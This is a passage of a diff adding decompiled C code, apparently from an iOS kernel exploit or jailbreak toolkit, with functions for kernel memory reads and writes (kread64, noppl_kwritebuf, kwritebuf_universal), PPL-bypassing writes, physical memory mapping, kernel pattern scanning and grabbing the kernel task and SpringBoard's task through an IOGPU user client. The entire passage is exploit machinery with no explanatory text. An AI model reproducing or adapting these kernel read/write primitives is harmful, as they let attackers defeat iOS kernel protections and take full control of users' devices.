*((_DWORD *)v41 + 0x1E) = 0; + *((_DWORD *)v41 + 0x1F) = v55; + bzero(*((void **)v41 + 0x10), 8 * v55); + if ( (mach_absolute_time() - v80) * *(unsigned int *)(a1 + 0x25C) / *(unsigned int *)(a1 + 0x260) > 0x12A15343FLL ) + { + v6 = 0x80000031LL; + goto LABEL_129; + } + LODWORD(v56) = *((_DWORD *)v41 + 0x1F); + if ( (_DWORD)v56 ) + { + v79 = v54; + v57 = 0LL; + v58 = 0LL; + do + { + v59 = (pthread_t *)(*((_QWORD *)v41 + 0x10) + v57); + v60 = (void *(__cdecl *)(void *))nullsub_1(sub_2ADB4); + v61 = pthread_create(v59, 0LL, v60, v41); + if ( v61 ) + { + if ( v61 >= 0 ) + v69 = v61; + else + v69 = -v61; + v6 = v69 | 0x40000000u; + goto LABEL_123; + } + ++v58; + v56 = *((unsigned int *)v41 + 0x1F); + v57 += 8LL; + } + while ( v58 < v56 ); + LODWORD(v44) = v81; + v54 = v79; + } + if ( (_DWORD)v6 ) + goto LABEL_129; + if ( *((_DWORD *)v41 + 0x1E) < (unsigned int)v56 ) + { + do + thread_switch(0, 2, 1u); + while ( *((_DWORD *)v41 + 0x1E) < *((_DWORD *)v41 + 0x1F) ); + } + v62 = pthread_mutex_lock((pthread_mutex_t *)(v41 + 0x20)); + if ( v62 ) + goto LABEL_124; + v63 = *((_DWORD *)v41 + 0x1F); + if ( !v63 ) + { +LABEL_110: + v6 = 0LL; + goto LABEL_115; + } + v64 = 0LL; + while ( 1 ) + { + v65 = *((_QWORD *)v41 + 0x10); + v66 = *(_opaque_pthread_t **)(v65 + 8 * v64); + if ( v66 != *((_opaque_pthread_t **)v41 + 0xD) ) + break; +LABEL_109: + *(_QWORD *)(v65 + 8 * v64++) = 0LL; + if ( v64 >= v63 ) + goto LABEL_110; + } + v67 = pthread_join(v66, 0LL); + if ( !v67 ) + { + v65 = *((_QWORD *)v41 + 0x10); + v63 = *((_DWORD *)v41 + 0x1F); + goto LABEL_109; + } + if ( v67 >= 0 ) + v68 = v67; + else + v68 = -v67; + v6 = v68 | 0x40000000u; +LABEL_115: + v62 = pthread_mutex_unlock((pthread_mutex_t *)(v41 + 0x20)); + if ( v62 ) + { +LABEL_124: + if ( v62 >= 0 ) + v70 = v62; + else + v70 = -v62; + v6 = v70 | 0x40000000u; + goto LABEL_129; + } + v54 <<= v54 < (unsigned int)v44; + v50 = (_opaque_pthread_t *)*((_QWORD *)v41 + 0xD); + } + while ( !v50 ); + if ( !(_DWORD)v6 ) + { +LABEL_89: + v51 = pthread_mach_thread_np(v50); + v6 = 0LL; + v52 = semaphore; + v53 = *((_QWORD *)v41 + 0xE); + goto LABEL_134; + } +LABEL_123: + v43 = 1; + LODWORD(v44) = v81; +LABEL_130: + if ( semaphore + 1 >= 2 ) + { + v71 = v43; + semaphore_signal(semaphore); + semaphore_destroy(mach_task_self_, semaphore); + v43 = v71; + } + if ( !v41 ) + goto LABEL_142; + v81 = v44; + v52 = 0; + v51 = 0; + v53 = 0LL; + v27 = 0; + v23 = 0; + v26 = 0LL; + if ( v43 ) + { +LABEL_134: + v23 = v51; + v27 = v52; + pthread_mutex_destroy((pthread_mutex_t *)(v41 + 0x20)); + v26 = v53; + } + v72 = (pthread_t *)*((_QWORD *)v41 + 0x10); + if ( v72 ) + { + v73 = *((_DWORD *)v41 + 0x1F); + if ( v73 ) + { + v74 = 0LL; + while ( 1 ) + { + if ( v72[v74] ) + { + pthread_join(v72[v74], 0LL); + v72 = (pthread_t *)*((_QWORD *)v41 + 0x10); + v73 = *((_DWORD *)v41 + 0x1F); + } + v72[v74++] = 0LL; + if ( v74 >= v73 ) + break; + v72 = (pthread_t *)*((_QWORD *)v41 + 0x10); + } + v72 = (pthread_t *)*((_QWORD *)v41 + 0x10); + } + bzero(v72, 8LL * v81); + free(*((void **)v41 + 0x10)); + } + free(v41); +LABEL_146: + v75 = *(_QWORD *)(a1 + 0x90); + if ( v75 ) + { + v76 = *(_QWORD *)(a1 + 0x98); + if ( v76 ) + { + vm_deallocate(mach_task_self_, v75, v76); + *(_QWORD *)(a1 + 0x90) = 0LL; + *(_QWORD *)(a1 + 0x98) = 0LL; + } + } + if ( v34 ) + free(v34); + if ( v83 && (_DWORD)v32 ) + vm_deallocate(mach_task_self_, (vm_address_t)v83, v32); + if ( (_DWORD)v6 ) + goto LABEL_158; +LABEL_155: + if ( *(_QWORD *)(a1 + 0x158) >= 0x27120F04B00003uLL && (*(_BYTE *)a1 & 0x20) != 0 ) + { + v78 = 0LL; + } + else + { + v6 = physmap_here(a1, &address, v4, v26); + if ( (_DWORD)v6 ) + goto LABEL_158; + v78 = (__int64 *)((*(_QWORD *)(a1 + 0x188) & v26) + address); + v6 = 0x28026LL; + if ( !validate_addr(a1, *v78) ) + goto LABEL_158; + } + v6 = 0LL; + *(_DWORD *)(a1 + 0xAC) = v23; + *(_QWORD *)(a1 + 0xB0) = address; + *(_QWORD *)(a1 + 0xB8) = v4; + *(_DWORD *)(a1 + 0xC0) = *(_DWORD *)(a1 + 0x188) & v26; + *(_QWORD *)(a1 + 0xC8) = v78; + *(_DWORD *)(a1 + 0xD0) = v27; + *(_QWORD *)(a1 + 0xD8) = v26; + return v6; +} +// 19728: using guessed type __int64 __fastcall nullsub_1(_QWORD); + +//----- (00000000000280A0) ---------------------------------------------------- +__int64 __fastcall sub_280A0(__int64 a1, vm_address_t *a2, vm_size_t a3, __int64 a4) +{ + mem_entry_name_port_t v4; // w5 + kern_return_t v6; // w0 + + v4 = *(_DWORD *)(a1 + 0x58); + if ( v4 + 1 < 2 ) + return 0xAD001LL; + v6 = vm_map(mach_task_self_, a2, a3, 0LL, 1, v4, a4 & ~*(_QWORD *)(a1 + 0x188), 0, 3, 3, 2u); + if ( v6 ) + return v6 | 0x80000000; + else + return 0LL; +} + +//----- (000000000002811C) ---------------------------------------------------- +__int64 __fastcall sub_2811C(__int64 a1) +{ + mach_port_t v2; // w0 + _opaque_pthread_t *v3; // x20 + semaphore_t v4; // w0 + vm_address_t v5; // x1 + vm_size_t v6; // x2 + mach_port_name_t v7; // w1 + + v2 = *(_DWORD *)(a1 + 0xAC); + if ( v2 + 1 >= 2 ) + { + v3 = pthread_from_mach_thread_np(v2); + v4 = *(_DWORD *)(a1 + 0xD0); + if ( v4 + 1 >= 2 ) + { + semaphore_signal(v4); + semaphore_destroy(mach_task_self_, *(_DWORD *)(a1 + 0xD0)); + *(_DWORD *)(a1 + 0xD0) = 0; + if ( !v3 ) + goto LABEL_5; + } + else if ( !v3 ) + { +LABEL_5: + *(_DWORD *)(a1 + 0xAC) = 0; + goto LABEL_6; + } + pthread_join(v3, 0LL); + goto LABEL_5; + } +LABEL_6: + v5 = *(_QWORD *)(a1 + 0xB0); + if ( v5 ) + { + v6 = *(_QWORD *)(a1 + 0xB8); + if ( v6 ) + { + vm_deallocate(mach_task_self_, v5, v6); + *(_QWORD *)(a1 + 0xB0) = 0LL; + *(_QWORD *)(a1 + 0xB8) = 0LL; + } + } + *(_QWORD *)(a1 + 0xC8) = 0LL; + v7 = *(_DWORD *)(a1 + 0x58); + if ( v7 + 1 >= 2 ) + { + mach_port_deallocate(mach_task_self_, v7); + *(_DWORD *)(a1 + 0x58) = 0; + } + return 0LL; +} + +//----- (00000000000281F0) ---------------------------------------------------- +__int64 __fastcall sub_281F0(__int64 a1) +{ + __int64 v1; // x20 + kern_return_t v4; // w0 + mach_port_name_t name; // [xsp+Ch] [xbp-14h] BYREF + + v1 = *(_QWORD *)(a1 + 0x1D48); + if ( !v1 ) + return 0xAD001LL; + if ( (unsigned int)(*(_DWORD *)(v1 + 0x70) + 1) < 2 ) + return 0LL; + name = 0; + if ( (unsigned int)sub_28288(a1, &name) ) + return sub_1C8B0(a1, 0x14u, *(_DWORD *)(v1 + 0x70)); + v4 = mach_port_deallocate(mach_task_self_, name); + if ( v4 ) + return v4 | 0x80000000; + else + return 0LL; +} + +//----- (0000000000028288) ---------------------------------------------------- +__int64 __fastcall sub_28288(__int64 a1, mach_port_t *a2) +{ + __int64 v3; // x20 + kern_return_t v4; // w0 + size_t v6; // [xsp+0h] [xbp-70h] BYREF + mach_port_t connection; // [xsp+Ch] [xbp-64h] BYREF + _OWORD outputStruct[4]; // [xsp+10h] [xbp-60h] BYREF + + connection = 0; + v6 = 0x40LL; + v3 = sub_1BE0C(a1, 0x14u, &connection); + if ( !(_DWORD)v3 ) + { + memset(outputStruct, 0, sizeof(outputStruct)); + v4 = IOConnectCallStructMethod(connection, 1u, 0LL, 0LL, outputStruct, &v6); + if ( v4 ) + { + v3 = v4 | 0x80000000; + } + else + { + v3 = 0LL; + *a2 = connection; + connection = 0; + } + } + if ( connection + 1 >= 2 ) + mach_port_deallocate(mach_task_self_, connection); + return v3; +} + +//----- (0000000000028364) ---------------------------------------------------- +__int64 __fastcall sub_28364(__int64 a1) +{ + __int64 v1; // x24 + __int64 v3; // x20 + unsigned __int64 v4; // x0 + __int64 v5; // x0 + unsigned __int64 v6; // x0 + unsigned __int64 v7; // x0 + unsigned __int64 v8; // x21 + __int64 v9; // x25 + const __CFDictionary *v10; // x0 + io_service_t MatchingService; // w0 + io_object_t v12; // w22 + kern_return_t v13; // w0 + char v15; // w27 + unsigned __int64 v16; // x0 + unsigned __int64 v17; // x22 + __int64 v18; // x0 + __int64 v19; // x21 + unsigned __int64 v20; // x1 + __int64 v21; // x0 + __int64 v22; // x0 + __int64 v23; // x23 + int v24; // w8 + __int64 v25; // x8 + int v26; // w21 + __int64 v27; // x8 + __int64 v28; // x9 + __int64 v29; // x8 + __int64 v30; // [xsp+0h] [xbp-90h] BYREF + io_connect_t connect; // [xsp+Ch] [xbp-84h] BYREF + __int64 v32; // [xsp+10h] [xbp-80h] BYREF + __int64 v33; // [xsp+18h] [xbp-78h] BYREF + __int64 v34; // [xsp+20h] [xbp-70h] BYREF + __int64 v35; // [xsp+28h] [xbp-68h] BYREF + __int64 v36; // [xsp+30h] [xbp-60h] BYREF + __int64 v37; // [xsp+38h] [xbp-58h] BYREF + + v34 = 0LL; + v35 = 0LL; + v32 = 0LL; + v33 = 0LL; + connect = 0; + v1 = *(_QWORD *)(a1 + 0x1D48); + if ( !v1 ) + { + v3 = 0xAD022LL; + goto LABEL_19; + } + if ( (unsigned int)sub_28288(a1, &connect) ) + { + v3 = 0x28026LL; + v37 = 0LL; + v4 = sub_32D24(a1); + if ( !v4 ) + goto LABEL_19; + v5 = krw_task_for_name(a1, v4, "SpringBoard"); + if ( !v5 ) + goto LABEL_19; + v6 = sub_33ED8(a1, v5); + if ( !v6 ) + goto LABEL_19; + if ( !kread64((_DWORD *)a1, v6, &v36) ) + goto LABEL_47; + if ( !validate_addr(a1, v36) ) + goto LABEL_19; + v7 = sub_33FFC(a1, mach_task_self_); + if ( !v7 ) + goto LABEL_19; + v8 = v7; + if ( !kread64((_DWORD *)a1, v7, &v37) ) + { +LABEL_47: + v3 = 0x2800FLL; + goto LABEL_19; + } + if ( !validate_addr(a1, v37) ) + goto LABEL_19; + if ( (v37 ^ (unsigned __int64)v36) >> 0x20 ) + { + v3 = 0x28011LL; + goto LABEL_19; + } + v9 = 0x28010LL; + if ( !(unsigned int)kwritebuf_universal((_QWORD *)a1, v8, (__int64)&v36, 4LL) ) + goto LABEL_72; + v10 = IOServiceMatching("IOGPU"); + MatchingService = IOServiceGetMatchingService(kIOMasterPortDefault, v10); + if ( MatchingService + 1 < 2 ) + { + if ( (unsigned int)kwritebuf_universal((_QWORD *)a1, v8, (__int64)&v37, 4LL) ) + v3 = 0xAD011LL; + else + v3 = 0x28010LL; + goto LABEL_19; + } + v12 = MatchingService; + v13 = IOServiceOpen(MatchingService, mach_task_self_, 1u, &connect); + if ( v13 ) + { + if ( v13 <= (int)0xE00002BB ) + v3 = v13 | 0x80000000; + else + v3 = v13 & 0xFFF | 0x70000000u; + } + else + { + v3 = 0LL; + } + v26 = kwritebuf_universal((_QWORD *)a1, v8, (__int64)&v37, 4LL); + IOObjectRelease(v12); + if ( !v26 ) + goto LABEL_72; + if ( (_DWORD)v3 ) + goto LABEL_19; + v15 = 0; + } + else + { + if ( *(_QWORD *)(v1 + 0x50) && *(_QWORD *)(v1 + 0x58) && *(_QWORD *)(v1 + 0x60) && *(_QWORD *)(v1 + 0x68) ) + goto LABEL_26; + v15 = 1; + } + v16 = port_name_to_kaddr(a1, connect); + if ( !v16 ) + { + v3 = 0x28025LL; + goto LABEL_19; + } + v17 = v16; + v9 = 0x2800FLL; + if ( !kread64((_DWORD *)a1, v16 + 0x120, &v35) ) + goto LABEL_72; + if ( !validate_addr(a1, v35) ) + goto LABEL_46; + v18 = get_kobject_maybe(a1, v35 + 0xD0); + if ( !v18 ) + goto LABEL_46; + v19 = v18; + if ( !kread64((_DWORD *)a1, v35 + 0xD0, &v34) || !kread64((_DWORD *)a1, v35 + 0x10, &v33) ) + goto LABEL_72; + if ( !validate_addr(a1, v33) ) + goto LABEL_46; + if ( !kread64((_DWORD *)a1, v33 + 0x10, &v32) ) + goto LABEL_72; + if ( !validate_addr(a1, v32) + || (v20 = *(_QWORD *)(a1 + 0x19D0)) == 0 + || (v21 = sub_328A4(a1, v20)) == 0 + || (v22 = krw_task_for_pid_0(a1, v21, 1)) == 0 ) + { +LABEL_46: + v3 = 0x28026LL; + goto LABEL_19; + } + v23 = v22; + v24 = *(_DWORD *)(a1 + 0x140); + if ( v24 != 0x2258 && v24 != 0x2712 && v24 != 0x225C ) + goto LABEL_65; + if ( krw_ctx_has_flag((_DWORD *)a1, 0x5100000) ) + { + v25 = 0x3D8LL; + goto LABEL_60; + } + if ( krw_ctx_has_flag((_DWORD *)a1, 0x84001) ) + { + v25 = 0x3C0LL; + goto LABEL_60; + } + if ( !krw_ctx_has_flag((_DWORD *)a1, 0x2240) ) + { +LABEL_65: + v3 = 0x2802CLL; + goto LABEL_19; + } + v25 = 0x3A8LL; +LABEL_60: + if ( !kreadbuf(a1, v25 + v23, 8uLL, &v30, 1LL) ) + goto LABEL_72; + v27 = v30; + v3 = 0x28011LL; + if ( v30 && (v30 & 7) == 0 ) + { + if ( (v15 & 1) != 0 ) + { +LABEL_64: + v28 = v34; + *(_QWORD *)(v1 + 0x50) = v27; + *(_QWORD *)(v1 + 0x58) = v28; + v29 = v32; + *(_QWORD *)(v1 + 0x60) = v19; + *(_QWORD *)(v1 + 0x68) = v29; +LABEL_26: + v3 = 0LL; + *(_DWORD *)(v1 + 0x70) = connect; + *(_BYTE *)(v1 + 0x4A) = 1; + return v3; + } + v3 = sub_36000(a1, v23); + if ( !(_DWORD)v3 ) + { + v37 = v23; + if ( !noppl_kwritebuf(a1, v35 + 0x50, &v37, *(unsigned int *)(a1 + 0x168), 1) ) + { +LABEL_73: + v3 = 0x28010LL; + goto LABEL_19; + } + if ( kread64((_DWORD *)a1, v17 + 0x88, &v36) ) + { + v3 = 0x28026LL; + if ( !validate_addr(a1, v36) ) + goto LABEL_19; + v37 = 0LL; + if ( noppl_kwritebuf(a1, v36 + 8, &v37, *(unsigned int *)(a1 + 0x168), 1) ) + { + v27 = v30; + goto LABEL_64; + } + goto LABEL_73; + } +LABEL_72: + v3 = v9; + } + } +LABEL_19: + if ( connect + 1 >= 2 ) + mach_port_deallocate(mach_task_self_, connect); + return v3; +} + +//----- (0000000000028840) ---------------------------------------------------- +bool __fastcall kread64(_DWORD *a1, unsigned __int64 a2, __int64 *a3) +{ + _BOOL8 v5; // x20 + __int64 v6; // x1 + + v5 = kread64_internal((__int64)a1, a2, a3); + if ( v5 ) + { + v6 = *a3; + if ( (*a1 & 0x5584001) != 0 ) + v6 = krw_xpac_vaddr((__int64)a1, v6); + *a3 = v6; + } + return v5; +} + +//----- (00000000000288A4) ---------------------------------------------------- +bool __fastcall sub_288A4(__int64 a1, unsigned __int64 a2, __int64 a3) +{ + __int64 v4; // [xsp+8h] [xbp-8h] BYREF + + v4 = a3; + return noppl_kwritebuf(a1, a2, &v4, *(unsigned int *)(a1 + 0x168), 1); +} + +//----- (00000000000288D4) ---------------------------------------------------- +__int64 __fastcall sub_288D4(__int64 a1) +{ + __int64 v2; // x28 + __int64 v3; // x21 + __int64 v4; // x27 + unsigned __int64 *v5; // x0 + unsigned __int64 *v6; // x20 + void *(__cdecl *v7)(void *); // x0 + int v8; // w0 + mach_port_t v9; // w0 + unsigned int v10; // w23 + int v11; // w22 + mach_timespec_t v12; // x1 + unsigned __int64 v13; // x0 + int v14; // w8 + unsigned __int64 v15; // x9 + pthread_t *v16; // x25 + __int64 *v17; // x24 + __int64 v18; // x23 + __int64 v20; // x0 + unsigned __int64 v21; // x22 + vm_address_t v22; // x8 + __int64 v23; // x0 + __int64 v24; // x0 + int v25; // w8 + __int64 v26; // x0 + vm_size_t v27; // [xsp+0h] [xbp-180h] + vm_address_t v28; // [xsp+8h] [xbp-178h] BYREF + __int128 v29; // [xsp+10h] [xbp-170h] BYREF + __int128 v30; // [xsp+20h] [xbp-160h] + __int128 v31; // [xsp+30h] [xbp-150h] + __int128 v32; // [xsp+40h] [xbp-140h] + __int128 v33; // [xsp+50h] [xbp-130h] + __int128 v34; // [xsp+60h] [xbp-120h] + __int128 v35; // [xsp+70h] [xbp-110h] + __int128 v36; // [xsp+80h] [xbp-100h] + __int128 v37; // [xsp+90h] [xbp-F0h] BYREF + __int128 v38; // [xsp+A0h] [xbp-E0h] + __int128 v39; // [xsp+B0h] [xbp-D0h] + __int128 v40; // [xsp+C0h] [xbp-C0h] + __int128 v41; // [xsp+D0h] [xbp-B0h] + __int128 v42; // [xsp+E0h] [xbp-A0h] + __int128 v43; // [xsp+F0h] [xbp-90h] + __int128 v44; // [xsp+100h] [xbp-80h] + + v2 = 0LL; + v27 = vm_page_size; + v28 = 0LL; + v3 = 0x28026LL; + v43 = 0u; + v44 = 0u; + v41 = 0u; + v42 = 0u; + v39 = 0u; + v40 = 0u; + v37 = 0u; + v38 = 0u; + v35 = 0u; + v36 = 0u; + v33 = 0u; + v34 = 0u; + v31 = 0u; + v32 = 0u; + v4 = 0x28008LL; + v29 = 0u; + v30 = 0u; + while ( 1 ) + { + v5 = (unsigned __int64 *)calloc(1uLL, 0x78uLL); + *((_QWORD *)&v29 + v2) = v5; + if ( !v5 ) + { + v4 = 0xAD009LL; +LABEL_20: + v6 = 0LL; + goto LABEL_22; + } + v6 = v5; + v7 = (void *(__cdecl *)(void *))nullsub_1(sub_2B03C); + v8 = pthread_create((pthread_t *)&v37 + v2, 0LL, v7, v6); + if ( v8 ) + { + v6 = 0LL; + if ( v8 >= 0 ) + v14 = v8; + else + v14 = -v8; + v4 = v14 | 0x40000000u; + goto LABEL_22; + } + v9 = pthread_mach_thread_np(*((pthread_t *)&v37 + v2)); + if ( v9 + 1 < 2 ) + goto LABEL_20; + v10 = v9; + *((_DWORD *)v6 + 0xC) = v9; + if ( !*((_BYTE *)v6 + 0x49) ) + break; +LABEL_9: + v13 = port_name_to_kaddr(a1, v10); + if ( !v13 ) + { + v4 = 0x28026LL; + goto LABEL_20; + } + if ( (((v13 + 0x5F0) ^ v13) & ~*(_QWORD *)(a1 + 0x188)) == 0 ) + { + v4 = 0LL; + v15 = *((_QWORD *)&v37 + v2); + *((_QWORD *)&v29 + v2) = 0LL; + *((_QWORD *)&v37 + v2) = 0LL; + LODWORD(v2) = v2 + 1; + *v6 = v13; + v6[5] = v15; + goto LABEL_22; + } + if ( ++v2 == 0x10 ) + { + v6 = 0LL; + v4 = 0xAD011LL; + goto LABEL_23; + } + } + v11 = 0x3EA; + while ( --v11 ) + { + v12 = (mach_timespec_t)0xF424000000000LL; + semaphore_timedwait(*(_DWORD *)(a1 + 0x264), v12); + if ( *((_BYTE *)v6 + 0x49) ) + goto LABEL_9; + } + v6 = 0LL; + v4 = 0x1001LL; +LABEL_22: + if ( (int)v2 <= 0 ) + goto LABEL_29; +LABEL_23: + v16 = (pthread_t *)&v37; + v17 = (__int64 *)&v29; + v2 = (unsigned int)v2; + do + { + v18 = *v17; + if ( *v17 && (unsigned int)(*(_DWORD *)(v18 + 0x30) + 1) >= 2 && *v16 ) + { + *(_BYTE *)(v18 + 0x48) = 1; + __ulock_wake(); + pthread_join(*v16, 0LL); + *v16 = 0LL; + free((void *)v18); + *v17 = 0LL; + } + ++v16; + ++v17; + --v2; + } + while ( v2 ); +LABEL_29: + if ( (_DWORD)v4 ) + return v4; + *(_QWORD *)(a1 + 0x1D48) = v6; + if ( !v6 ) + return 0xAD001LL; + v20 = sub_28CE0(a1, *v6, 1LL); + v6[1] = v20; + if ( v20 ) + { + v21 = *v6; + v3 = physmap_maybe(a1, &v28, v27, v20); + if ( !(_DWORD)v3 ) + { + v22 = v28; + v6[2] = v28; + v6[3] = v27; + v6[4] = (*(_QWORD *)(a1 + 0x188) & v21) + v22; + v3 = sub_39A24(a1, 0LL); + if ( !(_DWORD)v3 ) + { + v23 = *(_QWORD *)(a1 + 0x19F8); + v3 = 0xAD001LL; + if ( v23 ) + { + sub_19D10(v23, &v37); + *((_QWORD *)&v37 + 1) = *((_QWORD *)&v37 + 1) + v38 - 0x20000; + *(_QWORD *)&v38 = 0x20000LL; + v29 = v37; + *(_QWORD *)&v30 = 0x20000LL; + v24 = kernel_pattern_scan((__int64)&v29, "E8 0B 80 52", 0); + if ( !v24 ) + return 0xAD011LL; + v25 = (unsigned __int16)((unsigned int)sub_19ACC((__int64 *)v37, (__int64 *)(v24 - 8)) >> 5); + if ( (unsigned int)(v25 - 1) >= 0xBFF ) + return 0x28011LL; + *((_DWORD *)v6 + 0xE) = v25; + if ( *(_QWORD *)(a1 + 0x158) < 0x27120F04B00003uLL || (*(_BYTE *)a1 & 0x20) == 0 ) + { + if ( krw_ctx_has_flag((_DWORD *)a1, 0x5584201) ) + { + v26 = sub_38034((int *)a1, v6[4], 1, 1, 0x60); +LABEL_47: + v3 = v26; + if ( (_DWORD)v26 ) + return v3; + } + return 0LL; + } + v26 = sub_38158(a1, v6[1], 1, 1, 0x60); + goto LABEL_47; + } + } + } + } + return v3; +} +// 19728: using guessed type __int64 __fastcall nullsub_1(_QWORD); + +//----- (0000000000028CE0) ---------------------------------------------------- +__int64 __fastcall sub_28CE0(__int64 a1, unsigned __int64 a2, __int64 a3) +{ + int v5; // w0 + _OWORD v7[2]; // [xsp+0h] [xbp-40h] BYREF + __int64 v8; // [xsp+20h] [xbp-20h] + + v8 = 0LL; + memset(v7, 0, sizeof(v7)); + sub_213D4(a1, a2, (__int64)v7, a3); + if ( v5 ) + return *(_QWORD *)(a1 + 0x188) & a2 | v8 & 0xFFFFFFFFC000LL; + else + return 0LL; +} +// 28D14: variable 'v5' is possibly undefined + +//----- (0000000000028D44) ---------------------------------------------------- +__int64 __fastcall sub_28D44(__int64 a1) +{ + __int64 v1; // x21 + _QWORD *v2; // x19 + vm_address_t v4; // x1 + vm_size_t v5; // x2 + + v1 = 0xAD001LL; + v2 = *(_QWORD **)(a1 + 0x1D48); + if ( v2 ) + { + v4 = v2[2]; + if ( !v4 + || (v5 = v2[3]) == 0 + || (vm_deallocate(mach_task_self_, v4, v5), v2[2] = 0LL, v2[3] = 0LL, (v2 = *(_QWORD **)(a1 + 0x1D48)) != 0LL) ) + { + *(_QWORD *)(a1 + 0x1D48) = 0LL; + *((_BYTE *)v2 + 0x48) = 1; + __ulock_wake(); + pthread_join((pthread_t)v2[5], 0LL); + *(_OWORD *)v2 = 0u; + *((_OWORD *)v2 + 1) = 0u; + *((_OWORD *)v2 + 2) = 0u; + *((_OWORD *)v2 + 3) = 0u; + *((_OWORD *)v2 + 4) = 0u; + *((_OWORD *)v2 + 5) = 0u; + *((_OWORD *)v2 + 6) = 0u; + v2[0xE] = 0LL; + free(v2); + return 0LL; + } + } + return v1; +} + +//----- (0000000000028DFC) ---------------------------------------------------- +bool __fastcall noppl_kwrite32(__int64 a1, mach_vm_address_t address, int a3) +{ + __int64 (__fastcall *v5)(__int64, mach_vm_address_t, int *, __int64, __int64); // x8 + int v6; // w0 + kern_return_t v7; // w21 + vm_map_t v9; // w0 + int v10; // [xsp+8h] [xbp-28h] BYREF + vm_machine_attribute_val_t value; // [xsp+Ch] [xbp-24h] BYREF + + v10 = a3; + v5 = *(__int64 (__fastcall **)(__int64, mach_vm_address_t, int *, __int64, __int64))(a1 + 0x40); + if ( v5 ) + { + v6 = v5(a1, address, &v10, 4LL, 1LL); + goto LABEL_3; + } + if ( (unsigned int)(*(_DWORD *)(a1 + 0xAC) + 1) >= 2 && *(_QWORD *)(a1 + 0xD8) ) + { + v6 = sub_28F90(a1, address, &v10, 4LL, 1LL); + } + else if ( (unsigned int)(*(_DWORD *)(a1 + 0xE8) + 1) >= 2 && *(_QWORD *)(a1 + 0xF8) && *(_QWORD *)(a1 + 0x100) ) + { + v6 = sub_271B0(a1, address, (__int64)&v10, 4u, 1); + } + else + { + if ( *(_DWORD *)(a1 + 0x1930) == 0xFFFFFFFF || *(_DWORD *)(a1 + 0x1934) == 0xFFFFFFFF ) + goto LABEL_22; + if ( *(_DWORD *)(a1 + 0x1940) != 0xFFFFFFFF && *(_QWORD *)(a1 + 0x218) ) + { + v6 = sub_268F8(a1, address, (__int64)&v10, 4u, 1); + goto LABEL_3; + } + if ( *(_DWORD *)(a1 + 0x1938) == 0xFFFFFFFF || *(_DWORD *)(a1 + 0x193C) == 0xFFFFFFFF ) + { +LABEL_22: + v7 = mach_vm_write(*(_DWORD *)(a1 + 0x1918), address, (vm_offset_t)&v10, 4u); + v9 = *(_DWORD *)(a1 + 0x1918); + value = 7; + mach_vm_machine_attribute(v9, address, 4uLL, 1u, &value); + return v7 == 0; + } + v6 = sub_25498((int *)a1, address, &v10, 4u, 1); + } +LABEL_3: + if ( v6 ) + v7 = 5; + else + v7 = 0; + return v7 == 0; +} +// 28F90: using guessed type __int64 __fastcall sub_28F90(_QWORD, _QWORD, _QWORD, _QWORD, _QWORD); + +//----- (0000000000028F90) ---------------------------------------------------- +__int64 __fastcall sub_28F90( + __int64 ctx, + unsigned __int64 targetAddr, + __int64 valueBuf, + unsigned int valueSize, + int useFdPrimitive) +{ + __int64 v5; // x25 + __int64 v6; // x8 + unsigned int valueSize_; // w26 + unsigned int v12; // w24 + __int64 v13; // x8 + __int64 v14; // x21 + __int64 v15; // x23 + __int64 v16; // x0 + size_t v17; // x2 + __int64 v18; // x25 + unsigned int v19; // w28 + unsigned __int64 v20; // x19 + unsigned __int64 v21; // x8 + __int64 v22; // x20 + unsigned int v23; // w21 + unsigned __int64 v24; // x24 + __int64 v25; // x0 + size_t v26; // x2 + int v27; // w19 + int upcomingWriteBuf_; // w23 + vm_size_t v29; // x20 + __int64 v30; // x21 + __int64 v31; // x26 + int v32; // w9 + __int64 v33; // x8 + __int64 v34; // x9 + __int64 v35; // x19 + __int64 *v36; // x27 + int v37; // w20 + unsigned __int64 v38; // x1 + __int64 v39; // x0 + __int64 physAddr; // x0 + __int64 v41; // x19 + vm_address_t v42; // x8 + int v43; // w9 + bool v44; // zf + __int64 v45; // x0 + __int64 v46; // x0 + int v47; // w8 + __int64 v48; // x19 + int v49; // w8 + unsigned int v50; // w8 + unsigned int v51; // w20 + __int64 v52; // x0 + __int64 v53; // x0 + int v54; // w0 + vm_size_t physSize; // [xsp+8h] [xbp-B8h] + unsigned __int64 v57; // [xsp+10h] [xbp-B0h] + __int64 valueBuf__; // [xsp+18h] [xbp-A8h] + unsigned int valueSize__; // [xsp+24h] [xbp-9Ch] + unsigned __int64 v60; // [xsp+28h] [xbp-98h] + unsigned __int64 v61; // [xsp+30h] [xbp-90h] + unsigned int v62; // [xsp+38h] [xbp-88h] + int upcomingWriteBuf; // [xsp+40h] [xbp-80h] BYREF + int v64; // [xsp+44h] [xbp-7Ch] BYREF + int v65; // [xsp+48h] [xbp-78h] BYREF + int v66; // [xsp+4Ch] [xbp-74h] BYREF + unsigned __int64 v67; // [xsp+50h] [xbp-70h] BYREF + __int64 v68; // [xsp+58h] [xbp-68h] BYREF + vm_address_t address; // [xsp+60h] [xbp-60h] BYREF + unsigned __int64 v70; // [xsp+68h] [xbp-58h] BYREF + + v5 = 0xAD001LL; + v6 = *(_QWORD *)(ctx + 0x1D48); + if ( !v6 ) + return v5; + valueSize_ = valueSize; + if ( ((targetAddr & 3) != 0 || valueSize != 4) && *(_BYTE *)(v6 + 0x4A) ) + { + if ( (unsigned int)(*(_DWORD *)(ctx + 0xAC) + 1) >= 2 ) + { + if ( *(_QWORD *)(ctx + 0xD8) ) + { + if ( validate_addr_maybe2(ctx, targetAddr) ) + { + LODWORD(address) = 0xFFFFFFFF; + if ( !useFdPrimitive || (v5 = fd_open_dev_null((int *)&address), !(_DWORD)v5) ) + { + if ( valueSize_ ) + { + v12 = 0; + while ( 1 ) + { + v70 = 0LL; + v13 = targetAddr + v12; + v14 = v13 & 7; + v15 = v13 - v14; + v16 = kreadbuf_via_dev_null_and_thread_state(ctx, v13 - v14, (__int64)&v70, 8u, 0); + if ( (_DWORD)v16 ) + break; + v17 = 8 - v14 >= (unsigned __int64)(valueSize_ - v12) ? valueSize_ - v12 : 8 - v14; + v18 = v70; + memcpy((void *)((unsigned __int64)&v70 | v14), (const void *)(valueBuf + v12), v17); + if ( v18 != v70 ) + { + v16 = sub_2B0E8(ctx, v15, v70); + if ( (_DWORD)v16 ) + break; + } + v12 = v12 - v14 + 8; + if ( v12 >= valueSize_ ) + goto LABEL_19; + } + v5 = v16; + } + else + { +LABEL_19: + v5 = 0LL; + } + v54 = address; + goto LABEL_100; + } + } + } + } + return v5; + } + if ( !validate_addr_maybe2(ctx, targetAddr) ) + return v5; + v64 = 0xFFFFFFFF; + if ( useFdPrimitive ) + { + v5 = fd_open_dev_null(&v64); 